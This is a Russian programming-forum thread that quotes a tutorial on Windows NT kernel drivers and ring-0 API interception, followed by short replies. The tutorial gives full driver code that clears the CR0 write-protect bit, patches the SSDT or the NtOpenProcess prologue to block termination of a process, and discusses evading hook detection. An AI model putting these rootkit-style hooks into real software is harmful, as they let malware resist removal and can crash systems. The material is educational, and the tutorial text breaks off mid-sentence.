В Windows NT используються только два уровня привилегий: нулевое и третье кольцо. В нулевом кольце работает ядро системы и системные драйвера, а в третьем - все запущенные приложения. Привилегированные команды и ввод-ввод для третьего кольца запрещены, для взаимодействия с аппаратной частью компьютера вызываются системные сервисы ядра ОС, которые оформлены как шлюзы. При вызове такого шлюза процесс переходит в нулевое кольцо, и там ядро ОС и драйвера обрабатывают запрос и возвращают результаты приложению. После перехода в нулевое кольцо приложение не может как-либо контролировать свое исполнение, пока управление не будет возвращено коду третьего кольца. Это есть необходимое условие защиты, оно обеспечивает безопасность всей системы.
В прошлых статьях я достаточно подробно рассмотрел технику перехвата API в третьем кольце, но недостаток этих методов в том, что такие перехваты подчиняются правилам третьего кольца, тоесть могут быть обнаружены и устранены приложением. Также приложение может вызывать напрямую сервисы ядра системы, минуя API (как это сделано в моей программе ProcessMaster), в этом случае никакой перехват не поможет. Для того чтобы действительно "поработить" систему мы должны залезть на самый высокий уровень привилегий - в нулевое кольцо, и производить свои действия там. Только это гарантирует, что приложение работающее в третьем кольце не сможет обойти перехват. Попав в нулевое кольцо, мы получаем действительно полный контроль над системой. Как сделать это - войти в нулевое кольцо, и что можно делать потом, я подробно опишу в этой статье.
Память в Windows NT

Для понимания дальнейшего материала, необходимо четко представлять организацию памяти в Windows NT. В общем виде она выглядит так: Адреса от 0x00000000 до 0x0000FFFF не используются, любое обращение к этим адресам вызывает ошибку. Это нужно для выявления нулевых указателей, так как обращение по нулевому указателю это частая ошибка в программах. Адреса от 0x00010000 до 0x7FFFFFFF представляют пользовательское адресное пространство (User Space), эта область памяти различна у каждого процесса в системе. В ней находятся код третьего кольца и связанные с ним данные процесса. Адреса от 0x800000000 до 0xFFFFFFFF представляют собой область памяти ядра системы (Kernel Space), эта область одна на всю систему, и у всех процессов одинакова. В ней размещается ядро системы, драйвера, файловый кеш, разделяемая память, системные пулы, а также все структуры ядра. Доступ к этой области памяти можно получить только из нулевого кольца, любое обращение к ней пользовательского кода вызывает ошибку. При работе с этой областью памяти следует соблюдать большую осторожность, так как не все исключения, возникающие в ней могут быть обработаны, что может вызвать падение системы. При разрушении памяти пользовательского режима, будет завершен только тот процесс, целостность памяти которого нарушена, но нарушение целостности структур памяти ядра немедленно ведет к падению системы с синим экраном.



Методы входа в Ring0
По документации Microsoft для выполнения своего кода в нулевом кольце защиты нам потребуется написать драйвер режима ядра. Но существует еще один способ: через физическую память. В системе есть объект "секция" с именем \Device\PhysicalMemory который представляет из себя отображение физической памяти компьютера. Его можно открыть с помощью ZwOpenSection, после чего можно изменить содержимое системных таблиц (GDT, LDT, IDT) и создать в них свой шлюз, через который можно будет выполнить свой код в нулевом кольце. Существуют также методы перехода в нулевое кольцо путем использования какой-либо уязвимости системы, но так как эти методы работают только с необновленными системами мы их рассматривать не будем.
Пишем драйвер
Начнем с вполне документированного способа: написания драйвера. Для этого нам понадобиться Visual C++ 6.0 (или позже) и комплект DDK (Driver Development Kit). DDK идет под конкретную версию Windows NT, и раньше был доступен для скачивания с сайта Microsoft, но теперь мелкомягкие стали требовать за него денег. Однако, при большом желании, DDK всё же можно найти. Подойдет практически любая версия. После установки DDK можно приступать к созданию шаблона простейшего драйвера.*

Файл driver.c :
#include <ntddk.h>
#include "driver.h"
#define DEBUG
/*
Создаем макрос для вывода отладочных сообщений
в случае компиляции с директивой DEBUG
*/
#ifdef DEBUG
#define DPRINT DbgPrint
#else
#define DPRINT
#endif
VOID DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
DPRINT("Driver unloaded");
return;
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath)
{
DPRINT("Driver loaded");
return STATUS_SUCCESS;
}
Функция DriverEntry выполняется при загрузке драйвера в систему, в качестве параметров ей передается указатель на объект драйвера и путь в реестре, по которому этот драйвер приписан пи установке. Следует учесть, что процедура DriverEntry выполняется в контексте процесса System, это может быть немаловажно при написании некоторых специфических функций драйвера. Для компиляции драйвера мы создадим еще несколько файлов:
makefile: !INCLUDE $(NTMAKEENV)\makefile.def
sources:
TARGETNAME=driver
TARGETPATH=obj
TARGETTYPE=DRIVER
C_DEFINES=$(C_DEFINES)
X86_CPU_OPTIMIZATION=O2
INCLUDES=C:\WINDDK\2600\inc
SOURCES=driver.c
RELEASETYPE=DDK
make.bat:
%SystemRoot%\system32\cmd.exe /c "cd C:\WINDDK\2600\bin\&&setenv.bat
C:\WINDDK\2600\&&cd c:\driver\&&build -ceZ&&pause"
После этого можно компилировать драйвер запуском make.bat.
Что делать дальше?
Итак, код в драйвере выполняется в нулевом кольце защиты и может делать все что угодно, но что конкретно мы можем сделать? Самое простое - убить систему, для этого нужно просто создать необработанное исключение, что немедленно приведет к синему экрану. Например следующий код исполненный в драйвере немедленно валит систему:
__asm
{
xor eax, eax
mov eax, [eax]
}
Здесь происходит обращеное к нулевому адресу памяти, а обращение к первым 0xFFFF байтам памяти является ошибкой, так как эта область адресного пространства специально зарезервирована для обнаружения нулевых указателей. В результате возникает исключение Page Fault, а так как для него отсутствует обработчик исключения, то в результате возникнет синий экран. Поэтому при программировании кода исполняющегося в нулевом кольце следует быть очень внимательным, и в критических местах устанавливать обработчики ошибок. Например в следующем примере возникающая ошибка обрабатывается и синий экран не возникает:
__try
{
__asm
{
xor eax, eax
mov eax, [eax]
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
}
Но существует класс исключений не обрабатываемых в нулевом кольце - это например деление на ноль, обращение к отсутствующему участку ядерной памяти, или неверный опкод команды. Также невозможна вложенная обработка исключений, при возникновении исключения внутри обработчика исключения в любом случае получается синий экран.
Отладка:
При компиляции этого простейшего драйвера нам конечно не понадобиться ничего отлаживать, но в будущем нам понадобиться писать более сложные программы, и несомненно нужно как-то контролировать их исполнение. Для начала весьма удобным средством является вывод отладочных сообщений функцией DbgPrint, в нашем примере для этого даже существует макрос DPRINT, который производит такой вывод только в случае компиляции драйвера в отладочном режиме. Функция DbgPrint полностью аналогична функции printf, тоесть позволяет выводить форматированные строки различными способами. Для просмотра отладочных сообщений удобно использовать утилиту DbgView Марка Руссиновича, которую можно скачать с*www.sysinternals.com, также эти сообщения можно просматривать в отладчике SoftIce.*
Для более серьезной отладки необходимо следить за исполнением кода и иметь возможность вмешиваться в этот процесс, для этого нам нужен отладчик режима ядра. Для этого может подойти WinDBG от Microsoft, он имеет удобный графический интерфейс и прост в использовании, но я рекомендую установить SoftIce, так как его возможности значительно превосходят WinDBG, он имеет мощную систему команд, и при некотором навыке становиться гораздо более удобен в использовании. Я не буду останавливаться на установке и использовании SoftIce, это хорошо описано на*www.cracklab.ru.
Перехват:
Для осуществления перехвата API на самом низком уровне - в ядре системы нам необходимо четко представлять иерархию вызова API в системе. В упрощенном виде это выглядит так:


В прошлых статьях мы перехватывали Win32 API и NativeAPI уровня пользователя, но теперь будем перехватывать NativeAPI уровня ядра.
На самом деле функции NativeAPI и являются функциями ядра, а аналогичные им функции из ntdll.dll являются переходниками, которые через интерфейс системных вызовов обращаются к соответствующим функциям ядра. При программировании драйверов мы можем использовать те же NativeAPI функции, что и в приложениях третьего кольца, но не можем использовать API более высокого уровня. Также на этом уровне становятся доступными многие функции экспортируемые ядром и предназначенные для использования только в драйверах. В NativeAPI пользовательского уровня мы имеем пары аналогичных функций, отличающиеся только префиксами Zw и Nt, там они отличаются только названием, а имеют одну и ту же точку входа. На уровне ядра мы также имеем аналогичные пары функций, но между ними имеется одно различие, функции с префиксом Zw производят перед выполнением действия проверки системы безопасности (прав пользователя), а функции с префиксом Nt - нет.
Из пользовательского режима через интерфейс системных вызовов нам доступны Nt функции. Zw функции следует вызывать тогда, когда передающиеся им параметры были взяты из Usermode, тогда будут проведены все необходимые проверки.
Рассмотрим подробнее работу интерфейса системных вызовов:*


Из этой схемы следует, что вызов функции ядра, прежде чем будет передан соответствующей NativeAPI ядра проходит предварительно довольно сложную обработку. Сначала, в третьем кольце вызывается соответствующая функция в Ntdll, где а регистр EAX помещается номер вызываемого системного сервиса, а в регистр EDX - указатель на передаваемые параметры. Затем вызывается прерывание 2Eh (в Windows XP - команда sysenter) и происходит переход процесса в нулевое кольцо, где управление передается согласно записанному в IDT шлюзу прерывания, в этом месте происходит переключение окружения третьего кольца на нулевое, выполняется смена стека на стек ядра, и происходит перезагрузка сегментного регистра FS, который в нулевом кольце указывает на совершенно другие структуры, чем в третьем кольце. Затем управление передается обработчику прерывания 2Eh - функции ядра KiSystemService. Эта функция копирует передаваемые системному сервису параметры в стек ядра, и производит вызов NativeAPI функции ядра согласно содержимому ServiceDescriptorTable. Эта таблица находится в памяти ядра, и представляет собой структуру содержащую 4 таблицы системных сервисов (SST). Первая из этих таблиц описывает сервисы экспортируемые ядром (ntoskrnl.exe), вторая - графической подсистемой (win32k.sys), а остальные две зарезервированы на будующее и сейчас не используются. Формат этих структур следующий:
typedef struct _SYSTEM_SERVICE_TABLE
{
PNTPROC ServiceTable;
PDWORD CounterTable;
ULONG ServiceLimit;
PBYTE ArgumentTable;
}
SYSTEM_SERVICE_TABLE ,
* PSYSTEM_SERVICE_TABLE ,
* * PPSYSTEM_SERVICE_TABLE ;
typedef struct _SERVICE_DESCRIPTOR_TABLE {
SYSTEM_SERVICE_TABLE ntoskrnl; //SST для ntoskrnl.exe
SYSTEM_SERVICE_TABLE win32k; //SST для win32k.sys
SYSTEM_SERVICE_TABLE unused1; //не используется
SYSTEM_SERVICE_TABLE unused2; //не используется
}
SERVICE_DESCRIPTOR_TABLE ,
* PSERVICE_DESCRIPTOR_TABLE,
* * PPSERVICE_DESCRIPTOR_TABLE ;
Число системных сервисов описываемых каждой SST находится в поле ServiceLimit, поле ServiceTable - указатель на массив содержащий адреса ядерных функций соответствующих экспортируемым сервисам. ArgumentTable - указатель на массив содержащий число аргументов принимаемых каждой экспортируемой функцией (используется KiSystemService при копировании параметров), CounterTable - указатель на массив счетчиков использования каждой функции (этот массив присутствует только в отладочном билде Windows). Из этого следует, что для того, чтобы перехватить какую-либо функцию экспортируемую через этот механизм в третье кольцо мы должны заменить её адрес в соответствующей SST на адрес своего обработчика, но перед этим мы должны сохранить оригинальный адрес функции для её последующего вызова.
Сделать это очень легко, так как указатель на SDT экспортируется ядром по имени KeServiceDescriptorTable, поэтому чтобы его получить, мы должны просто объявить внешнюю переменную: extern PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable;
Сейчас нас интересует SST для ntoskrnl, для простого доступа к массиву с адресами функций будем использовать следующий макрос:
#define NTCALL(_function)KeServiceDescriptorTable->ntoskrnl.ServiceTable[_function];.
Теперь для перехвата какой-либо ядерной функции нам нужно просто создать для нее свой обработчик и заменить адрес в SST следующим образом: NTCALL(fNum) = NewFunction; где fNum - номер перехватываемого системного вызова, а NewFunction - его новый обработчик. Таблицу номеров функций экспортируемых ядром и графической подсистемой вы найдете в приложении к статье.
Для проверки работоспособности этого способа мы сейчас напишем драйвер перехватывающий функцию NtOpenProcess и запрещающий открытие какого-нибудь процесса с флагом PROCESS_TERMINATE, после чего убить этот процесс диспетчером задач будет уже невозможно. Подобным способом защиты пользуются также некоторые антивирусы.*
Вот полный текст драйвера осуществляющего защиту процесса с ProcessID 2800:
#include <ntddk.h>
#define DEBUG
#ifdef DEBUG
#define DPRINT DbgPrint
#else
#define DPRINT
#endif
typedef PVOID* PNTPROC;
typedef DWORD (ULONG);
typedef DWORD* PDWORD;
typedef unsigned char (BYTE);
typedef BYTE* PBYTE;
typedef struct _SYSTEM_SERVICE_TABLE
{
PNTPROC ServiceTable;
PDWORD CounterTable;
ULONG ServiceLimit;
PBYTE ArgumentTable;
}
SYSTEM_SERVICE_TABLE ,
* PSYSTEM_SERVICE_TABLE ,
* * PPSYSTEM_SERVICE_TABLE ;
typedef struct _SERVICE_DESCRIPTOR_TABLE {
SYSTEM_SERVICE_TABLE ntoskrnl; //SST для ntoskrnl.exe
SYSTEM_SERVICE_TABLE win32k; //SST для win32k.sys
SYSTEM_SERVICE_TABLE unused1; //не используется
SYSTEM_SERVICE_TABLE unused2; //не используется
}
SERVICE_DESCRIPTOR_TABLE ,
* PSERVICE_DESCRIPTOR_TABLE,
* * PPSERVICE_DESCRIPTOR_TABLE ;
//макрос для простого доступа к SST ядра
#define NTCALL(_function) KeServiceDescriptorTable->ntoskrnl.ServiceTable[_function]
//импортируем указатель на SDT
extern PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable;
//импортируем версию ядра NT
extern PUSHORT NtBuildNumber;
//обьявляем прототип True функции для перехватываемой функции
typedef NTSTATUS (*NtOpenPrcPointer) (
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL);
//обьявляем True функцию
NtOpenPrcPointer TrueNtOpenProcess;
//номер системного вызова NtOpenProcess
ULONG OpenProcId;
//функция - обработчик перехвата
NTSTATUS NewNtOpenProcess (
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL)
{
HANDLE ProcessId;
//безопасным образом извлекаем ProcessId
if ((ULONG)ClientId > MmUserProbeAddress) return STATUS_INVALID_PARAMETER;
__try
{
ProcessId = ClientId->UniqueProcess;
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
DPRINT("Exception");
return STATUS_INVALID_PARAMETER;
}
if (ProcessId == (HANDLE)2800)
{
DPRINT("Access Denied!");
return STATUS_ACCESS_DENIED;
} else

return TrueNtOpenProcess(ProcessHandle, DesiredAccess,
ObjectAttributes, ClientId);
}
VOID DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
ULONG CR0Reg;
DPRINT("Driver unloaded");
//снимаем перехват
__asm
{
cli // запрещаем прерывания
mov eax, cr0
mov CR0Reg,eax
and eax,0xFFFEFFFF // сбросить WP bit
mov cr0, eax
}
NTCALL(OpenProcId) = TrueNtOpenProcess;
__asm
{
mov eax, CR0Reg
mov cr0, eax // востановить содержимое CR0
sti // разрешаем прерывания
}
return;
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath)
{
ULONG CR0Reg;
DPRINT("Driver loaded");
//определяем версию ядра системы
switch (*NtBuildNumber)
{
case 2195 : //win 2k
OpenProcId = 0x06A;
break;

case 2600 : //win xp
OpenProcId = 0x07A;
break;

default :
return STATUS_NOT_IMPLEMENTED;
break;
}

//устанавливаем перехват
TrueNtOpenProcess = NTCALL(OpenProcId);
__asm
{
cli // запрещаем прерывания
mov eax, cr0
mov CR0Reg,eax
and eax,0xFFFEFFFF // сбросить WP bit
mov cr0, eax
}
NTCALL(OpenProcId) = NewNtOpenProcess;
__asm
{
mov eax, CR0Reg
mov cr0, eax // востановить содержимое CR0
sti // разрешаем прерывания
}

//назначаем процедуру выгрузки драйвера
DriverObject->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}
Следует обратить внимание, что в данном коде перед проверкой значения поля UniqueProcess производится сначала проверка указателя ClientId а затем копирование поля UniqueProcess внутри обработчика ошибок. Проверка указателя связана с тем, что он передается нашему коду из пользовательского процесса третьего кольца, а нам нельзя позволять адресовать область памяти ядра пользовательскому коду. Обработчик ошибок при копировании необходим по причине того, что указатель может указывать на отсутствующую область памяти, а обращение по такому указателю без обработки ошибок приведет к падению системы. При написании драйверов очень важно обращать внимание на такие моменты, иначе это может быть причиной уязвимости в вашей программе. Также следует обратить внимание на то, что перед изменением содержимого SST производится запрет прерываний и очистка WP бита в регистре CR0. Запрет прерываний необходим по причине того, что наш поток может быть прерван в момент записи в SST, и в это время другой поток обратится к перехватываемой функции, что приведет к падению системы. Также в некоторых конфигурациях в системы имеется защита от модификации ядерных страниц памяти. Этой защитой управляет WP бит в регистре CR0, если его не очищать перед модификацией памяти ядра, то это может стать причиной нестабильной работы драйвера, на некоторых системах он может работать, а на некоторых вызывать синий экран. Для загрузки драйвера я рекомендую использовать программу KmdManager от Four-F которая входит в состав его KmdKit (пакета DDK для masm32) который можно скачать с*www.wasm.ru*(раздел "инструменты"). В состав этого пакета входит еще несколько полезных программ, поэтому всем рекомендую его скачать.
Перехват через SDT несомненно удобен, но у него имеется один недостаток - его легко обнаружить и удалить. Для этого просто нужно проверить соответствие адресов в SDT адресам соответствующих экспортируемых ядром функций, и при несоответствии исправить адреса. Для устранения этого недостатка можно воспользоваться методом перехвата, который я описал в предыдущих статьях - заменой кодов в начале функции. Адрес перехватываемой функции можно определить как через SDT, так и импортом его из ядра. В первом случае, при наличии на этой функции какого-либо перехвата наш обработчик будет установлен поверх старого обработчика, а во втором случае - прямо на функцию.*

Вот полный код драйвера выполняющего аналогичную предыдущему функцию. Его отличие в том, что перехват производится непосредственно заменой кода начала перехватываемой функции. Адрес определяется путем импорта его из ядра.
#include <ntddk.h>
#define DEBUG
#ifdef DEBUG
#define DPRINT DbgPrint
#else
#define DPRINT
#endif
typedef UCHAR (BYTE);
typedef BYTE* PBYTE;
#pragma pack (push, 1)
typedef struct _far_jmp{
BYTE PushOp;
PVOID PushArg;
BYTE RetOp;
} far_jmp, *pfar_jmp;
typedef struct _OldCode{
USHORT One;
ULONG TWO;
} OldCode, *POldCode;
#pragma pack (pop)
OldCode OpPrcOld;
PVOID NewNtOpenProcessAdr;
//True функция для перехватываемой функции
NTSTATUS TrueNtOpenProcess (
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL)
{
ULONG CR0Reg;
NTSTATUS Result;
POldCode Func = (POldCode)NtOpenProcess;
pfar_jmp Fnjp = (pfar_jmp)NtOpenProcess;

__asm
{
cli // запрещаем прерывания
mov eax, cr0
mov CR0Reg,eax
and eax,0xFFFEFFFF // сбросить WP bit
mov cr0, eax
}
// снимаем перехват
Func->One = OpPrcOld.One;
Func->TWO = OpPrcOld.TWO;
Result = NtOpenProcess(ProcessHandle, DesiredAccess,
ObjectAttributes, ClientId);
//устанавливаем перехват
Fnjp->PushOp = 0x68;
Fnjp->PushArg = NewNtOpenProcessAdr;
Fnjp->RetOp = 0xC3;
__asm
{
mov eax, CR0Reg
mov cr0, eax // востановить содержимое CR0
sti // разрешаем прерывания
}
return Result;
}
//функция - обработчик перехвата
NTSTATUS NewNtOpenProcess (
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL)
{
HANDLE ProcessId;
//безопасным образом извлекаем ProcessId
if ((ULONG)ClientId > MmUserProbeAddress) return STATUS_INVALID_PARAMETER;
__try
{
ProcessId = ClientId->UniqueProcess;
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
DPRINT("Exception");
return STATUS_INVALID_PARAMETER;
}
if (ProcessId == (HANDLE)2800)
{
DPRINT("Access Denide!");
return STATUS_ACCESS_DENIED;
} else

return TrueNtOpenProcess(ProcessHandle, DesiredAccess,
ObjectAttributes, ClientId);
}
VOID DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
ULONG CR0Reg;
NTSTATUS Result;
POldCode Func = (POldCode)NtOpenProcess;

DPRINT("Driver unloaded");

__asm
{
cli // запрещаем прерывания
mov eax, cr0
mov CR0Reg,eax
and eax,0xFFFEFFFF // сбросить WP bit
mov cr0, eax
}
// снимаем перехват
Func->One = OpPrcOld.One;
Func->TWO = OpPrcOld.TWO;
__asm
{
mov eax, CR0Reg
mov cr0, eax // востановить содержимое CR0
sti // разрешаем прерывания
}
return;
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath)
{
ULONG CR0Reg;
POldCode Func = (POldCode)NtOpenProcess;
pfar_jmp Fnjp = (pfar_jmp)NtOpenProcess;
DPRINT("Driver loaded");

//устанавливаем перехват
__asm
{
cli // запрещаем прерывания
mov eax, cr0
mov CR0Reg,eax
and eax,0xFFFEFFFF // сбросить WP bit
mov cr0, eax
}
NewNtOpenProcessAdr = NewNtOpenProcess;
OpPrcOld.One = Func->One;
OpPrcOld.TWO = Func->TWO;
Fnjp->PushOp = 0x68;
Fnjp->PushArg = NewNtOpenProcessAdr;
Fnjp->RetOp = 0xC3;
__asm
{
mov eax, CR0Reg
mov cr0, eax // востановить содержимое CR0
sti // разрешаем прерывания
}

//назначаем процедуру выгрузки драйвера
DriverObject->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}
Следует обратить внимание на то, что перед объявлением структур far_jmp и OldCode производится установка выравнивания структур по одному байту с помощью директивы #pragma pack (push, 1), иначе компилятор будет выравнивать структуры по 8 байт, что приведет к неправильному представлению кода в памяти, и драйвер будет ронять систему в синий экран.
Взаимодействие драйвера с приложением:
В драйверах приведенных выше идентификатор защищаемого процесса жестко прописан в коде, но при практическом применении такой подход недопустим. Очень часто требуется организовать обмен данными между драйвером и приложением. Для этого можно использовать систему ввода-вывода. Для этого драйвер должен создать объект "устройство", через которое ему будут направляться запросы ввода-вывода. Это устройство будет находиться в первичном пространстве имен диспетчера объектов, в каталоге \Device. Для доступа к устройству можно использовать функции NativeAPI, либо для упрощения создать символическую ссылку на объект в каталоге \DosDevices, после чего устройство можно будет открыть через CreateFile. После этого любой запрос ввода-вывода посланный через ReadFile или WriteFile будет послан нашему драйверу путем вызова зарегистрированной им Callback функции ассоциированной с соответствующим типом запроса. Приведем пример драйвера создающего устройство, символическую ссылку на него и выводящего получаемые им данные через DbgPrint в отладочную консоль.
#include <ntddk.h>
#define DEBUG
#ifdef DEBUG
#define DPRINT DbgPrint
#else
#define DPRINT
#endif
UNICODE_STRING DeviceName;
UNICODE_STRING SymbolicLinkName;
PDEVICE_OBJECT deviceObject = NULL;
VOID DriverUnload(IN PDRIVER_OBJECT DriverObject) {
DPRINT("Driver unloaded");
IoDeleteSymbolicLink(&SymbolicLinkName); // удаляем символическую ссылку
IoDeleteDevice(deviceObject); // удаляем устройство return;
}
NTSTATUS DriverDispatcher( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
PIO_STACK_LOCATION pisl;
NTSTATUS ns = STATUS_SUCCESS;
PCSTR Data;
pisl = IoGetCurrentIrpStackLocation(Irp);
Irp->IoStatus.Information = 0;
if ( pisl->MajorFunction == IRP_MJ_WRITE) {

ULONG Length = pisl->Parameters.Write.Length;
Data = Irp->UserBuffer;

__try {
DbgPrint("%s", Data); }
__except(EXCEPTION_EXECUTE_HANDLER)
{
Irp->IoStatus.Information = 0;
ns = STATUS_IN_PAGE_ERROR;
}
}

Irp->IoStatus.Status = ns;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return ns;
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{
NTSTATUS st;
PCWSTR dDeviceName = L"\\Device\\MyDriver";
PCWSTR dSymbolicLinkName = L"\\DosDevices\\MyDriver";
PDRIVER_DISPATCH *ppdd;
DPRINT("Driver loaded");
RtlInitUnicodeString(&DeviceName, dDeviceName);
RtlInitUnicodeString(&SymbolicLinkName, dSymbolicLinkName);
st = IoCreateDevice(DriverObject, // указатель на DriverObject
0, // размер памяти (device extension)
&DeviceName, // имя создаваемого устройства
FILE_DEVICE_NULL, // тип создаваемого устройства
0, // характеристики устройства
FALSE, // "эксклюзивное" устройство
&deviceObject); // указатель на объект устройства if


(st == STATUS_SUCCESS) st
= IoCreateSymbolicLink(&SymbolicLinkName, // имя создаваемой символической ссылки
&DeviceName); // имя устройства
ppdd = DriverObject->MajorFunction; // обьявляю процедуры обработки ввода-вывода ppdd
ppdd[IRP_MJ_CREATE] =
ppdd[IRP_MJ_CLOSE ] =
ppdd[IRP_MJ_WRITE ] = DriverDispatcher;

DriverObject->DriverUnload = DriverUnload;
return st;
}
Каждый запрос ввода-вывода преобразуется в IRP пакет и направляется на обработчик назначенный на данный тип пакета. Драйвер обязательно должен обрабатывать запрос IRP_MJ_CREATE который посылается при открытии устройства приложением. В данном случае я еще обрабатываю запрос IRP_MJ_WRITE, который посылается при записи данных в созданное устройства. Обработчиком обоих типов пакетов назначена процедура DriverDispatcher, где происходит прием данных и вывод их через функцию DbgPrint. Так как при создании устройства я выбрал прямой, небуферизованный метод ввода-вывода (METHOD_NEITHER). При применении этого метода мы получаем данные из пользов


Тоже можно глянуть - http://cppbuilder.ru/articles/0007.php
1
4033 / 2323 / 292
Регистрация: 03.02.2011
Сообщений: 5,066
Записей в блоге: 10
10.10.2013, 18:55 13
По просьбам страждущих выкладываю тексты в оригинальном виде. Запакованные в pdf, но все же... читабельность кусков кода куда как получше будет.
0
Миниатюры
Открыть процесс процесс на полный доступ, и запретить для других  
Вложения
Тип файла: pdf Перехват API функций в Windows NT (части 1 - 3)..pdf (885.5 Кб, 59 просмотров)
Ушел с форума
Эксперт С++
16425 / 7399 / 1186
Регистрация: 02.05.2013
Сообщений: 11,637
Записей в блоге: 1
10.10.2013, 19:06 14
BRcr, многое из написанного на Vista и выше уже не работает.
Особенно на x64. Но все равно спасибо.
0
IT_Exp
Эксперт
87844 / 49110 / 22898
Регистрация: 17.06.2006
Сообщений: 92,604
10.10.2013, 19:06

Как запретить пользователю завершать процесс приложения
Поковырял, многое но не нашел! Как сделать процесс системным? чтоб пользователь его не мог...

Вирус блокирует процесс установки антивируса, процесс браузера при попытке скачать антивирус
При попытке загуглить любой известный антивирус или перейти на его сайт напрямую процесс браузера...

Процесс A в цикле просит пользователя ввести 5 чисел и затем передает их процессу B. Процесс B отображает на
#include &lt;iostream&gt; #include &quot;windows.h&quot; using namespace std; int main() { int n; cin &gt;&gt;...

Процесс system грузит процесс на ~30% и жесткий диск на 99-100%
У меня тоже процесс system грузит проц на ~30% и жесткий диск на 99-100% , это происходит когда...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
14
Ответ Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2021, vBulletin Solutions, Inc.